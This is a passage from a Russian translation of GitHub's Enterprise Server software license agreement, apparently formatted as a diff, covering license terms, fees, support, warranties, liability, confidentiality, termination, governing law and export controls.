+**"Обновление"**  — выпуск Программного обеспечения, который GitHub делает общедоступным для своих Клиентов, а также все соответствующие изменения в Документации, которая содержит исправление ошибок; как правило, обозначается изменением цифры справа от второй десятичной точки (например, с x.x.x до x.x.y). + +**"Пользователь"**  — учетная запись физического лица или компьютера, которая инициирует запуск Программного обеспечения, взаимодействует с Программным обеспечением или контролирует производительность его функций. + +**2. Предоставление лицензии на Программное обеспечение.** GitHub предоставляет Клиенту неисключительную, не подлежащую передаче, глобальную, не предусматривающую уплаты роялти лицензию с ограниченным сроком действия на установку и использование Программного обеспечения для внутренних коммерческих целей Клиента в течение применимого Срока действия подписки в соответствии с Документацией, и только такое количество Лицензий на подписку, которое указано в Форме заказа Клиента. Программное обеспечение включает компоненты, лицензированные для GitHub третьими лицами, включая программное обеспечение, лицензии на которое предполагают, что GitHub предоставит доступ к исходному коду этих компонентов. Исходный код таких компонентов будет предоставляться по запросу. Без ущерба для вышеизложенных положений настоящая лицензия разрешает Клиенту загружать и запускать образ контейнера Microsoft SQL Server Standard Edition для файлов Linux (**Образы SQL Server**), которые можно использовать только для Программного обеспечения в соответствии с документацией. Право Клиента на использование Образов SQL Server прекращается, если Клиент теряет право на использование Программного обеспечения, и Клиент должен удалить Образы SQL Server после прекращения права Клиента на использование. Корпорация Microsoft может отключить Образы SQL Server в любое время. + +**3. Ограничения для лицензии.** За исключением случаев, когда это прямо разрешено законодательством или действующей сторонней лицензией, Клиент и его Аффилированные лица не должны (и не должны разрешать каким-либо третьим лицам): (i) сублицензировать, продавать, предоставлять в прокат, в аренду, передавать, назначать Программное обеспечение или осуществлять его вторичное распространение; (ii) размещать Программное обеспечение в пользу третьих лиц; (iii) раскрывать или разрешать третьим лицам осуществлять доступ к Программному обеспечению, за исключением случаев, когда это явно разрешено положениями раздела 2; (iv) взламывать или изменять Лицензионный ключ, обходить или изменять какую-либо процедуру регистрации лицензии; (v) за исключением Модификаций Клиента, изменять и создавать производные работы на основе Программного обеспечения или объединять Программное обеспечение с другим программным обеспечением; (vi) дизассемблировать, декомпилировать Программное обеспечение, обходить обфускацию его кода или иным образом изучать технологию Программного обеспечения либо пытаться полностью или частично извлечь его исходный код; (vii) изменять, скрывать или удалять уведомления об авторском праве, включенные в Программное обеспечение или Документацию; (viii) использовать или копировать Программное обеспечение или Документацию иным способом, который не разрешен явно этим Соглашением. + +**4. Права на интеллектуальную собственность.** В отношениях между Сторонами GitHub владеет всеми правами, титулами и интересами, включая все права на интеллектуальную собственность, в отношении Продуктов. GitHub оставляет за собой все права на Продукты, которые не предоставлены Клиенту явным образом по настоящему Соглашению. + +**5. Обратная связь.** Клиент может предоставлять GitHub Обратную связь в отношении Продуктов. Обратная связь носит добровольный характер и не является Конфиденциальной информацией клиента, даже если она обозначена как таковая. GitHub может в полной мере применять и использовать такую обратную связь с целью (i) улучшения работы, функциональности и использования существующих и будущих предложений продуктов GitHub и коммерциализации таких предложений; и (ii) публикации сводных статистических данных о качестве Продуктов при условии, что никакие данные в любой такой публикации не будут использоваться для конкретной идентификации Клиента, его сотрудников или проприетарного программного кода Клиента. + +**6. Лицензии на подписку.** Лицензии на подписку предоставляются для каждого Пользователя, несколько Пользователей не могут использовать одну и ту же Лицензию на подписку. Клиент может передать Лицензию на подписку новому Пользователю только по истечении девяноста (90) дней с момента последней передачи той же Лицензии на подписку, за исключением случаев, когда передача связана с (i) необратимым отказом или потерей оборудования, (ii) увольнением Пользователя или прекращением действия договора или (iii) временным перераспределением Лицензий на подписку для компенсации отсутствия Пользователя. Когда Клиент передает Лицензию на подписку от одного Пользователя другому, Клиент должен заблокировать доступ прежнего Пользователя к Лицензии на подписку. + +**7. Аффилированные лица.** Аффилированные лица Клиента имеют право использовать Программное обеспечение в соответствии с настоящим Соглашением при условии, что Клиент несет полную ответственность за свой доступ к Программному обеспечению и его использование. + +**8. Оплата** + +**8.1.**  *Сборы.* Клиент соглашается оплатить Сборы полностью, заранее, без вычетов или взаимозачетов любого рода в долларах США. Клиент должен оплатить Сборы в течение тридцати (30) дней с даты выставления счета GitHub. Суммы, подлежащие уплате по настоящему Соглашению, не подлежат возврату, если иное не предусмотрено разделами 13 и 14.1. Если Клиент не уплачивает какие-либо Сборы вовремя, GitHub оставляет за собой право, в дополнение к любым другим действиям по закону или праву справедливости, (i) взимать проценты с сумм просроченных платежей в размере 1,0 % в месяц или по самой высокой процентной ставке, разрешенной законом, в зависимости от того, что меньше, и взимать все расходы по возмещению, и (ii) прекратить действие соответствующей Формы заказа или ТЗ. Клиент несет единоличную ответственность за все налоги, сборы, пошлины и государственные сборы (за исключением налогов, основанных на чистой прибыли GitHub), которые взимаются или подлежат уплате в связи с настоящим Соглашением. + +**8.2.**  *Приобретение дополнительных Лицензий на подписку.* Клиент может получить дополнительные Лицензии на подписку в соответствии с настоящим Соглашением, отправив запрос через веб-сайт GitHub или через отдел продаж. После этого будет создана новая Форма заказа. Если Клиент приобретает дополнительные Лицензии на подписку, Клиент должен уплатить за них действующие на тот момент Сборы, пропорциональные остатку применимого Срока подписки. При продлении Лицензий на подписку Клиента на другой Срок подписки GitHub будет ежегодно выставлять счета сразу за все Лицензии на подписку, если иное не указано в Форме заказа. + +**8.3.**  *Дополнительное программное обеспечение.* Для Дополнительного программного обеспечения предоставляется лицензия по числу Пользователей. Если иное не указано в Форме заказа, количество Лицензий на подписку на программное обеспечение надстройки, которыми владеет Клиент в любой момент времени, должно совпадать с количеством Лицензий на подписку на Продукты в рамках этого Соглашения, которыми владеет Клиент. Например, если Клиент хочет приобрести подписку на Advanced Security и уже имеет лицензии на подписку на Продукты для 100 пользователей, он должен приобрести Лицензии на подписку на Advanced Security для 100 пользователей. + +**9. Доставка.** GitHub обязуется сделать Лицензионный ключ доступным для скачивания Клиентом на надежном защищенном паролем веб-сайте. Доставка в соответствии с разделом 9 осуществляется в электронном формате. Во избежание двусмысленного толкования: Клиент несет ответственность за установку любого Программного обеспечения и подтверждает, что GitHub не несет никаких дополнительных обязательств по доставке Программного обеспечения после доставки Ключа лицензии. По мере появления Обновлений GitHub обязуется сделать их доступными для загрузки на том же веб-сайте. Клиент обязуется обновлять Программное обеспечение за обоснованную плату, но не менее одного раза в год. За обеспечение конфиденциальности имен пользователя и паролей Клиента отвечает Клиент. + +**10. Верификация.** По запросу GitHub Клиент обязуется в кратчайший срок предоставить GitHub отчет, созданный Программным обеспечением, чтобы подтвердить, что Клиент использует Программное обеспечение в соответствии с условиями настоящего Соглашения. GitHub будет выставлять Клиенту счет за все случаи дополнительного использования, начиная с даты, когда объем такого использования впервые превысит объем, предусмотренный Соглашением. + +**11. Поддержка.** + +**11.1.**  *Стандартная поддержка.* GitHub будет предоставлять стандартную техническую Поддержку для Программного обеспечения без дополнительной оплаты двадцать четыре (24) часа в сутки, пять (5) дней в неделю, кроме выходных и государственных праздников США. Стандартная Поддержка предлагается только посредством отправки обращений по Интернет через службу поддержки GitHub, а запросы на Поддержку должны быть инициированы пользователем, с которым может взаимодействовать команда поддержки GitHub. GitHub может предоставлять премиальную Поддержку (в соответствии с [условиями Премиум-поддержки для Enterprise Server](/enterprise/admin/enterprise-support/about-github-premium-support-for-github-enterprise-server)) или специализированную техническую Поддержку Программного обеспечения согласно уровню Поддержки, Сборам и Срокам подписки, указанным в Форме заказа или ТЗ. + +**11.2.**  *Предложения с расширенной поддержкой.* GitHub вправе предоставлять предложения с расширенной поддержкой для Программного обеспечения и (включая предложения уровня "Премиум", "Премиум Плюс" и "Прямая техническая поддержка") в соответствии с [Условиями поддержки](/enterprise/admin/enterprise-support/about-github-premium-support-for-github-enterprise), а также (на уровне Поддержки), с разделами "Сборы" и "Срок действия подписки", приведенными в Форме заказа или ТЗ. + +**11.3.**  *Оговорки.* GitHub обязуется принять разумные меры по исправлению всех существенных воспроизводимых ошибок в Программном обеспечении, о которых Клиент уведомит GitHub. Однако GitHub не несет ответственности за предоставление поддержки, если (i) каким-либо лицом (кроме GitHub) было изменено Программное обеспечение; (ii) Клиент изменил операционную систему или среду, и такие изменения негативно повлияли на работу Программного обеспечения или его производительность; (iii) Клиент использует программное обеспечение способом, не предусмотренным положениями этого Соглашения или Документацией; или (iv) Клиент использовал Программное обеспечение небрежно или неправильно. + +**11.4.**  *Обновления; Выпуски.* GitHub обязуется поддерживать только указанный Выпуск Программного обеспечения в течение одного (1) года с даты первоначального Выпуска или шести (6) месяцев с момента последнего Обновления Выпуска, в зависимости от того, какой срок более продолжителен. Если Клиенту требуется поддержка более ранних выпусков программного обеспечения, Клиент должен заплатить за такую поддержку в соответствии с условиями взаимно согласованной Формы заказа или ТЗ. + +**12. Профессиональные услуги.** По запросу Клиента о Профессиональных услугах GitHub предоставит ТЗ с подробным описанием таких Профессиональных услуг. GitHub будет предоставлять Профессиональные услуги, описанные в каждом ТЗ. GitHub будет контролировать порядок и средства предоставления Профессиональных услуг и оставляет за собой право определять назначенный персонал. GitHub может использовать третьих лиц для оказания Профессиональных услуг при условии, что GitHub по-прежнему несет ответственность за их действия и бездействие. Клиент признает и соглашается с тем, что GitHub сохраняет за собой все права, права собственности и интересы в отношении всего, что используется или разрабатывается в связи с оказанием Профессиональных услуг, включая программное обеспечение, инструменты, спецификации, идеи, концепции, изобретения, процессы, методы и ноу-хау. В той мере, в какой GitHub предоставляет что-либо Клиенту при оказании Профессиональных услуг, GitHub предоставляет Клиенту неисключительную, не подлежащую передаче, действующую по всему миру, безвозмездную, ограниченную лицензию на использование этих результатов в течение срока действия настоящего Соглашения, исключительно в связи с использованием Клиентом Программного обеспечения. + +**13. Ограниченные гарантии.** + +**13.1.**  *Ограниченные гарантии на Программное обеспечение*. GitHub гарантирует, что (i) неизмененное Программное обеспечение на момент его предоставления Клиенту для загрузки не содержит и не передает вредоносное ПО, вирусы или вирусы типа "червь" (т. е. компьютерный код или иные технологии, разработанные специально для нарушения работы, отключения или повреждения программного обеспечения, оборудования, компьютерной системы или сети Клиента) и (ii) в течение 90 (девяноста) дней с момента его предоставления для исходной загрузки неизмененное Программное обеспечение будет в целом соответствовать сопутствующей Документации. GitHub не гарантирует бесперебойную работу Программного обеспечения и отсутствие ошибок в процессе его использования Клиентом. Гарантии, приведенные в разделе 13.1, неприменимы в случае, если Клиент изменяет Программное обеспечение или использует его способом, который не разрешен настоящим Соглашением и Документацией. Единственным обязательством GitHub и единственным средством правовой защиты Клиента в случае нарушения условий данной гарантии будет следующее (за счет GitHub и по выбору GitHub): а) восстановление Программного обеспечения; б) замена Программного обеспечения; в) прекращение действия настоящего Соглашения в отношении дефектного Программного обеспечения и возмещение неиспользованных предварительно оплаченных Сборов в связи с дефектным Программным обеспечением в течение действующего на тот момент Срока действия подписки. + +**13.2.**  *Гарантия на Профессиональные услуги.* GitHub гарантирует Клиенту, что любые Профессиональные услуги, предоставляемые в соответствии с настоящим Соглашением, будут выполняться профессионально и качественно персоналом с соответствующей квалификацией. Единственным обязательством GitHub и единственным средством правовой защиты Клиента в случае нарушения данной гарантии будет по выбору и за счет GitHub одно из следующих действий: (i) незамедлительное повторное оказание любых Профессиональных услуг, которые не соответствуют настоящей гарантии, или (ii) если нарушение не может быть устранено, расторжение ТЗ и возмещение неиспользованных предоплаченных Сборов. + +**13.3.**  *Общая гарантия.* Каждая Сторона заявляет и гарантирует, что она имеет юридическое право и полномочия для заключения настоящего Соглашения, и что настоящее Соглашение и каждая Форма заказа заключаются сотрудником или агентом такой Стороны со всеми необходимыми полномочиями для связывания такой Стороны условиями настоящего Соглашения. + +**13.4.**  *Предварительные бета-версии.* Клиент может использовать предварительные бета-версии по своему усмотрению. Предварительные бета-версии могут не поддерживаться и могут быть изменены в любое время без предварительного уведомления. Предварительные бета-версии могут быть не такими надежными или доступными, как Программное обеспечение. Предварительные бета-версии не подлежат тем же мерам безопасности, которым подлежало и подлежит Программное обеспечение. GitHub не несет никакой ответственности в связи с предварительными бета-версиями. **КЛИЕНТ ИСПОЛЬЗУЕТ ПРЕДВАРИТЕЛЬНЫЕ БЕТА-ВЕРСИИ НА СВОЙ СТРАХ И РИСК.** + +**13.5.**  *Отказ от предоставления гарантий.* ОПИСАННЫЕ ВЫШЕ ОГРАНИЧЕННЫЕ ГАРАНТИИ ЯВЛЯЮТСЯ ЕДИНСТВЕННЫМИ ГАРАНТИЯМИ GITHUB В ОТНОШЕНИИ ПРОГРАММНОГО ОБЕСПЕЧЕНИЯ, ПРОФЕССИОНАЛЬНЫХ УСЛУГ И ПОДДЕРЖКИ. GITHUB НЕ ПРЕДОСТАВЛЯЕТ НИКАКИХ ИНЫХ ГАРАНТИЙ И ЗАВЕРЕНИЙ И ТЕМ САМЫМ ОТКАЗЫВАЕТСЯ ОТ ИНЫХ ГАРАНТИЙ, ЯВНЫХ, ПОДРАЗУМЕВАЕМЫХ И ЗАКОНОДАТЕЛЬНО ПРЕДУСМОТРЕННЫХ, В ТОМ ЧИСЛЕ, ПОМИМО ПРОЧЕГО, ГАРАНТИЙ КОММЕРЧЕСКОЙ ПРИГОДНОСТИ, ПРИГОДНОСТИ ДЛЯ КОНКРЕТНОЙ ЦЕЛИ, НЕНАРУШЕНИЯ ПРАВ ТРЕТЬИХ ЛИЦ ИЛИ ИНЫХ ГАРАНТИЙ ИЛИ УСЛОВИЙ, ВЫТЕКАЮЩИХ ИЗ ОБЫЧНОЙ ПРАКТИКИ ВЕДЕНИЯ ДЕЛОВЫХ ОПЕРАЦИЙ ИЛИ ТОРГОВЫХ ОБЫЧАЕВ. НИКАКИЕ УВЕДОМЛЕНИЯ ИЛИ ИНФОРМАЦИЯ В УСТНОЙ ИЛИ ПИСЬМЕННОЙ ФОРМЕ, ПРЕДОСТАВЛЕННЫЕ КОМПАНИЕЙ GITHUB ИЛИ ИНЫМ СПОСОБОМ, НЕ ВЛЕКУТ ВОЗНИКНОВЕНИЯ КАКИХ-ЛИБО ГАРАНТИЙ ИЛИ УСЛОВИЙ, НЕ ПРЕДУСМОТРЕННЫХ ЯВНЫМ ОБРАЗОМ ПОЛОЖЕНИЯМИ НАСТОЯЩЕГО СОГЛАШЕНИЯ. + +**14. Организация защиты в связи с исками; отказ от требований.** + +Стороны обязуются защищать и ограждать от ответственности друг друга в связи с требованиями третьих лиц, описанными в настоящем разделе 14, и выплатят сумму, присужденную любым неблагоприятным судебным решением (или сумму, предусмотренную согласованным мировым соглашением), но исключительно в случаях, если защищающая сторона немедленно уведомляется в письменной форме о таком требовании и имеет право контролировать действия по защите и достижению какого-либо мирового соглашения в связи с ним. Защищаемая Сторона должна предоставить защищающей Стороне всю запрошенную помощь, информацию и полномочия. Защищающая Сторона возместит другой Стороне разумные наличные расходы, которые она понесет при оказании помощи, и не будет урегулировать или делать какие-либо допущения в отношении претензии третьей стороны без предварительного письменного согласия другой Стороны, чтобы не получить необоснованный отказ или чтобы не произошла необоснованная задержка. В разделе 14 описаны исключительные средства защиты прав Сторон и полный объем ответственности в связи с такими требованиями. + +**14.1.**  *GitHub*. GitHub будет защищать Клиента от любых претензий, предъявленных неаффилированным третьим лицом, в той мере, в какой оно утверждает, что разрешенное использование Клиентом Программного обеспечения нарушает авторские права, патент либо товарный знак или незаконно присваивает коммерческую тайну неаффилированного третьего лица. Если GitHub не может разрешить такое требование на коммерчески разумных условиях, он может по своему выбору: а) изменять, ремонтировать или заменять Программное обеспечение (если применимо); или б) прекратить подписку Клиента и возместить любые предоплаченные неиспользованные Сборы за подписку. GitHub не будет нести никаких обязательств в соответствии с настоящим разделом 14.1 по любым таким претензиям, возникающим в связи с: (i) модификацией Программного обеспечения или комбинацией, работой или использованием Программного обеспечения с оборудованием, устройствами, программным обеспечением, системами или данными, кроме случаев, прямо разрешенных настоящим Соглашением (включая Документацию); (ii) неспособностью Клиента прекратить использование Программного обеспечения после получения уведомления об этом; (iii) обязательствами Заказчика в соответствии с разделом 14.2; (iv) продуктами или услугами (включая использование Программного обеспечения), предоставляемыми GitHub бесплатно; или (v) доступом или использованием предварительных бета-версий. В целях выполнения обязательства GitHub в соответствии с настоящим разделом 14.1 Программное обеспечение содержит компоненты с открытым кодом, включенные в него GitHub. + +**14.2** *Клиент*. Клиент обязуется защищать GitHub от любых претензий, предъявленных неаффилированным третьим лицом в связи с: (i) Содержимым Клиента, которое Клиент загружает в Программное ; (ii) нарушением Клиентом настоящего Соглашения, включая нарушение Клиентом конфиденциальности; (iii) Модификациями Клиентом Программного обеспечения; или (iv) любым оборудованием, устройствами, программным обеспечением, системами или данными сторонних производителей, которые Клиент объединяет, эксплуатирует или использует вместе с Программным обеспечением. + +**15. ОГРАНИЧЕНИЕ ОТВЕТСТВЕННОСТИ** + +**15.1.**  *Отказ от ответственности за опосредованные убытки*. В МАКСИМАЛЬНОЙ СТЕПЕНИ, РАЗРЕШЕННОЙ ПРИМЕНИМЫМ ПРАВОМ, НИ ОДНА ИЗ СТОРОН НИ ПРИ КАКИХ ОБСТОЯТЕЛЬСТВАХ НЕ БУДЕТ НЕСТИ ОТВЕТСТВЕННОСТЬ ПЕРЕД ДРУГОЙ СТОРОНОЙ ИЛИ ЛЮБЫМ ТРЕТЬИМ ЛИЦОМ ЗА ЛЮБЫЕ ОПОСРЕДОВАННЫЕ, СПЕЦИАЛЬНЫЕ, СЛУЧАЙНЫЕ, ШТРАФНЫЕ ИЛИ КОСВЕННЫЕ УБЫТКИ (ВКЛЮЧАЯ ПОТЕРЯННЫЕ ВЫГОДУ, ДОХОД ИЛИ ДАННЫЕ) ИЛИ ЗА СТОИМОСТЬ ПРИОБРЕТЕНИЯ ПРОДУКТОВ-ЗАМЕНИТЕЛЕЙ, ВЫТЕКАЮЩИХ ИЗ НАСТОЯЩЕГО СОГЛАШЕНИЯ ИЛИ СВЯЗАННЫХ С НИМ, НЕЗАВИСИМО ОТ ТОГО, ВЫЗВАНА ЛИ ТАКАЯ ОТВЕТСТВЕННОСТЬ КАКОЙ-ЛИБО ПРЕТЕНЗИЕЙ, ОСНОВАННОЙ НА ДОГОВОРЕ, ГАРАНТИИ, ГРАЖДАНСКОМ ПРАВОНАРУШЕНИИ (ВКЛЮЧАЯ НЕБРЕЖНОСТЬ), СТРОГОЙ ОТВЕТСТВЕННОСТИ ИЛИ ИНЫМ ОБРАЗОМ, И НЕЗАВИСИМО ОТ ТОГО, БЫЛА ЛИ СТОРОНА УВЕДОМЛЕНА О ВОЗМОЖНОСТИ ТАКИХ УБЫТКОВ. + +**15.2.**  *Ограничение полной ответственности*. В МАКСИМАЛЬНОЙ СТЕПЕНИ, РАЗРЕШЕННОЙ ПРИМЕНИМЫМ ПРАВОМ, НИ ПРИ КАКИХ ОБСТОЯТЕЛЬСТВАХ ОБЩАЯ СОВОКУПНАЯ ОТВЕТСТВЕННОСТЬ ЛЮБОЙ ИЗ СТОРОН ПО НАСТОЯЩЕМУ СОГЛАШЕНИЮ ПО ВСЕМ ОСНОВАНИЯМ ДЛЯ ИСКОВ И ВСЕМ ТЕОРИЯМ ОТВЕТСТВЕННОСТИ НЕ БУДЕТ ПРЕВЫШАТЬ СОБРЫ, ФАКТИЧЕСКИ УПЛАЧЕННЫЕ КЛИЕНТОМ GITHUB В ТЕЧЕНИЕ 12 МЕСЯЦЕВ, ПРЕДШЕСТВУЮЩИХ ИСКУ, ПОВЛЕКШЕМУ ЗА СОБОЙ ТАКУЮ ОТВЕТСТВЕННОСТЬ. ДЛЯ ПРОДУКТОВ И УСЛУГ, КОТОРЫЕ ПРЕДОСТАВЛЯЮТСЯ БЕСПЛАТНО, ОТВЕТСТВЕННОСТЬ GITHUB ОГРАНИЧИВАЕТСЯ ПРЯМЫМИ УБЫТКАМИ В РАЗМЕРЕ ДО 5000,00 ДОЛЛАРОВ США. ДЛЯ ПРЕДВАРИТЕЛЬНЫХ БЕТА-ВЕРСИЙ ОТВЕТСТВЕННОСТЬ GITHUB ОГРАНИЧИВАЕТСЯ ПРЯМЫМИ УБЫТКАМИ В РАЗМЕРЕ ДО 500,00 ДОЛЛАРОВ США. + +**15.3.**  *Особые случаи*. Исключения и ограничения, изложенные в этом разделе 15, не будут применяться к ответственности, возникающей из-за (1) несоблюдения Клиентом условий предоставления лицензии или ограничений для лицензии, указанных в разделах 2 и 3; (2) оборонительных обязательств Стороны, указанных в разделе 14; или (3) нарушения стороной обязательств в отношении конфиденциальности, указанных в разделе 16. + +**16. Конфиденциальность.** + +**16.1.**  *Определение Конфиденциальной информации*. В контексте настоящего соглашения "Конфиденциальная информация" означает любую коммерческую или техническую информацию, которую каждая Сторона раскрывает другой Стороне в письменной форме либо любым другим способом, включая раскрытие такой информации, как сведения о компьютерных программах, код, алгоритмы, данные, ноу-хау, формулы, процессы, идеи, изобретения (как запатентованные, так и незапатентованные), схемы и другие технические, коммерческие и финансовые планы, планы разработки продуктов, имена и экспертные знания сотрудников и консультантов, а также списки клиентов. Для целей настоящего соглашения, за исключением явно изложенных сведений в разделе 2.1, исходный код Программного обеспечения будет считаться конфиденциальной информацией GitHub, независимо от того, помечен ли он как таковая. + +**16.2.**  *Ограничения на использование и раскрытие информации.* Ни одна из Сторон не будет использовать Конфиденциальную информацию другой Стороны, за исключением случаев, разрешенных настоящим Соглашением. Каждая Сторона соглашается сохранять конфиденциальность и защищать Конфиденциальную информацию другой Стороны, используя по крайней мере ту же степень осторожности, что и для своей собственной информации аналогичного характера, но в любом случае, по крайней мере, с разумной степенью осторожности. Каждая Сторона соглашается принимать все разумные меры предосторожности для предотвращения любого несанкционированного раскрытия Конфиденциальной информации другой Стороны, включая, помимо прочего, раскрытие Конфиденциальной информации только сотрудникам, независимым подрядчикам, консультантам, а также советникам по юридическим и финансовым вопросам (в совокупности именуются как "Представители"), которые (i) нуждаются в знании такой информации, (ii) являются сторонами в соответствующих соглашениях, значимых для соблюдения настоящего раздела 16, и (iii) проинформированы об обязательствах по неразглашению, установленных в настоящем разделе 16. Каждая Сторона несет ответственность за все действия и бездействие своих Представителей. Вышеизложенные обязательства не ограничивают раскрытие Конфиденциальной информации другой Стороны ни одной из Сторон по распоряжению или требованию суда, административного органа или другого государственного органа при условии, что Сторона, обязанная осуществить такое раскрытие, уведомляет другую Сторону заблаговременно, чтобы она могла оспорить такой приказ или требование. Ограничения, изложенные в этом разделе 16, остаются в силе после расторжения или истечения срока действия настоящего Соглашения. + +**16.3.**  *Оговорки*. Ограничения, установленные в разделе 16.2, не будут применяться в отношении любой Конфиденциальной информации, которая: (i) была или стала общедоступной не по вине принимающей Стороны; (ii) была по праву известна или становится по праву известна получающей Стороне без конфиденциальных или имущественных ограничений из источника, отличного от раскрывающей стороны, которая имеет право раскрывать ее; (iii) одобрена раскрывающей Стороной для раскрытия без ограничений в письменном документе, подписанном должным образом уполномоченным должностным лицом такой раскрывающей Стороны; или (iv) которую получающая Сторона самостоятельно разрабатывает без доступа к Конфиденциальной информации другой Стороны или ее использования. + +**17. Срок действия и прекращение действия.** + +**17.1** *Срок действия* *Соглашения*. Настоящее Соглашение вступает в силу с Даты вступления Соглашения в силу и будет действовать до тех пор, пока настоящее Соглашение не будет расторгнуто Стороной в соответствии с настоящим разделом 17. Если это действие настоящего Соглашения прекращается до истечения или прекращения Срока действия подписки, все активные Формы заказов останутся в силе в соответствии с условиями этого Соглашения. + +**17.2.** *Прекращение действия по уважительной причине*. Любая из Сторон может расторгнуть Форму заказа с указанием причины или без ее указания, направив предварительное письменное уведомление не менее чем за тридцать (30) дней до истечения действующего на тот момент Срока действия подписки. + +**17.3.**  *Прекращение в связи с нарушением существенного обязательства*. Любая из Сторон может расторгнуть настоящее Соглашение немедленно после получения уведомления, если другая Сторона нарушит существенное обязательство по настоящему Соглашению и не устранит нарушение в течение тридцати (30) дней с даты получения уведомления. Каждая Сторона оставляет за собой право немедленно прекратить действие этого соглашения сразу после письменного уведомления, не предоставляя другой стороне время для устранения последствий, если Клиент нарушает какие-либо условия настоящего Соглашения, связанные с интеллектуальной собственностью GitHub (включая соблюдение Клиентом условий предоставления лицензии и всех ограничений для лицензии) или Конфиденциальной информацией Стороны. + +**17.4.**  *Последствия прекращения; сохранение юридической силы.* Когда действие настоящего Соглашения прекращается или истекает срок его действия, Клиент не может оформлять новые Формы заказа; но настоящее Соглашение будет иметь полную силу и действие до конца исполнения любых активных Форм заказа. Когда Форма заказа прекращает действие или срок ее действия истекает, в отношении этой Формы заказа: (i) Срок действия подписки на Программное обеспечение немедленно заканчивается; (ii) Клиент больше не будет иметь права использовать Программное обеспечение, и любые предоставленные Лицензии на подписку в Форме заказа прекратят существование в дату прекращения действия или истечения срока действия; (iii) если какие-либо Сборы подлежали оплате до прекращения действия, Клиент должен немедленно оплатить эти Сборы; (iv) Клиент обязуется уничтожить все копии Программного обеспечения, находящегося в его владении или управлении, и предоставить GitHub письменное подтверждение о выполнении таких требований; и (v) каждая Сторона незамедлительно вернет другой Стороне (или по запросу другой Стороны уничтожит) всю Конфиденциальную информацию, принадлежащую другой Стороне. Невзирая на вышеизложенные положения, Клиент вправе продолжить использование Программного обеспечения для переноса своих данных в течение 90 (девяноста) дней после прекращения или истечения срока действия настоящего Соглашения или Формы заказа; но в этот период Клиент не вправе использовать Программное обеспечение в рабочей среде. Любые условия или разделы, которые по своему характеру должны сохранять свою юридическую силу, сохраняют ее после прекращения или истечения срока действия настоящего Соглашения или Формы заказа. + +**18. Общие положения.** + +**18.1.**  *Соблюдение законодательства.* Клиент обязуется в процессе использования Продуктов соблюдать все действующие законы и нормативные требования, в том числе законы о защите данных и трудовое законодательство. + +**18.2.**  *Рекомендации по защите данных при использовании GitHub Insights и Учебной лаборатории для Enterprise Server.* Если планируемое использование Клиентом GitHub Insights или Учебной лаборатории для Enterprise Server предполагает обработку персональных данных, то Клиент несет единоличную ответственность за определение необходимости проведения оценки воздействия на защиту данных или иного официального юридического анализа планируемого использования Клиентом. Клиент по собственному усмотрению решает, требуется ли использование GitHub Insights или Учебной лаборатории для Enterprise Server для обработки данных пользователей и (или) сотрудников Клиента, и если Клиент придет к такому решению, он несет единоличную ответственность за такую обработку в соответствии с применимым законодательством. + +**18.3.**  *Применимое право; место рассмотрения споров.* Для клиентов, находящихся в США, Канаде, Мексике или стране в Центральной либо Южной Америке или Карибском бассейне ("Америка"), настоящее Соглашение будет регулироваться и интерпретироваться в соответствии с законами штата Калифорния, как если бы выполнялось в пределах штата, без учета принципов коллизионного права. Для таких Клиентов любые судебные иски или разбирательства, возникающие в связи с настоящим Соглашением, будут подаваться исключительно в федеральные суды или суды штата, расположенные в Северном округе Калифорнии, и настоящим Стороны соглашаются на личную юрисдикцию и место проведения в нем. Если главный офис Клиента находится за пределами Америки, настоящее Соглашение будет регулироваться законодательством Ирландии, любые судебные иски или разбирательства, возникающие в связи с настоящим Соглашением, будут рассматриваться исключительно в судах, расположенных в Дублине, и Стороны настоящим соглашаются на личную юрисдикцию и место проведения в нем. Стороны прямо соглашаются с тем, что Конвенция Организации Объединенных Наций о договорах международной купли-продажи товаров и Единообразный закон о сделках с компьютерной информацией не будут применяться к настоящему Соглашению. Несмотря на вышеизложенное, GitHub может подать иск о справедливой правовой помощи в любой суд с надлежащей юрисдикцией. + +**18.4.**  *Пользователи, являющиеся государственными организациями.* Продукты и Документация разрабатывались исключительно на средства частного капитала и считаются "Коммерческим программным обеспечением" и "Документацией для коммерческого программного обеспечения", как описано в Постановлении о федеральных закупках США 12.212 и 27.405-3, а также в Приложении к федеральному положению о военных закупках 227.7202-3. Продукты лицензированы для применения государственными организациями США как программное обеспечение ограниченного применения и данные с ограниченными правами. Технические данные или компьютерное программное обеспечение не разрабатываются в рамках настоящего Соглашения. В отношении использования, раскрытия, модификации, распространения и воспроизведения Продуктов и Документации государственными организациями США и их подрядчиками, действуют ограничения, установленные настоящим Соглашением. Все остальные способы использования запрещены. + +**18.5.**  *Экспорт.* В отношении Продуктов действуют экспортные и санкционные ограничения, администрируемые правительством США, а также импортные ограничения, введенные отдельными правительствами зарубежных стран, и Клиент обязуется соблюдать все действующие законы об импорте и экспорте в процессе использования Продуктов. Клиент не должен (и не должен разрешать третьим лицам) удалять или экспортировать из США, а также разрешать экспорт и реэкспорт любой части Продуктов или любой из продуктов в их составе: (i) на территорию (или гражданам и жителям) стран, в отношении которых введено эмбарго, или стран либо территорий, поддерживающих террористическую деятельность; (ii) любым лицам, включенным в Список организаций или Таблицу отказов в заказах Министерства торговли США, а также любым лицам, деятельность которых заблокирована в соответствии с правилами, введенными Управлением по контролю за иностранными активами США, включая любое лицо из списка исключенных лиц или организаций, "государственных" организаций стран, находящихся по действием санкций, или любое лицо, входящее в действующие списки лиц, находящихся под действием запрета или санкций; (iii) во все страны или на все территории, для которых установлены ограничения либо запрет на экспорт или реэкспорт и для которых государственной организацией США или иным учреждением требуется лицензия на экспорт или иные разрешительные документы в момент экспорта или реэкспорта, если такая лицензия или разрешения не получены заблаговременно; и (iv) иным способом, который нарушает ограничения импорта и экспорта и связанные с санкциями ограничения, а также законы и нормативы государственных организаций или учреждений США и зарубежных стран. Клиент заверяет и гарантирует, что Клиент не находится на территории или под контролем, не является гражданином или жителем любой из таких запрещенных стран либо территорий или не включен в список запрещенных лиц. GitHub Enterprise Server — это автономное виртуальное устройство, которое можно запустить в собственном центре обработки данных Клиента или в виртуальном частном облаке. Таким образом, GitHub Enterprise Server можно использовать для хранения контролируемой ITAR информации или другой информации, подлежащей экспортному контролю. Но Клиент несет ответственность за обеспечение соответствия надлежащим требованиям. Клиент подтверждает и выражает согласие, что в отношении Продуктов действует ограничение на использование для проектирования и разработки ядерного, химического и биологического оружия, а также ракетных технологий, если на такое использование предварительно не получено требуемое разрешение правительства США. + +**18.6.**  *Запрет на несанкционированное размещение информации в открытом доступе.* GitHub вправе идентифицировать Клиента как клиента при взаимодействии с текущими и потенциальными клиентами. Но GitHub не вправе использовать имя и логотип 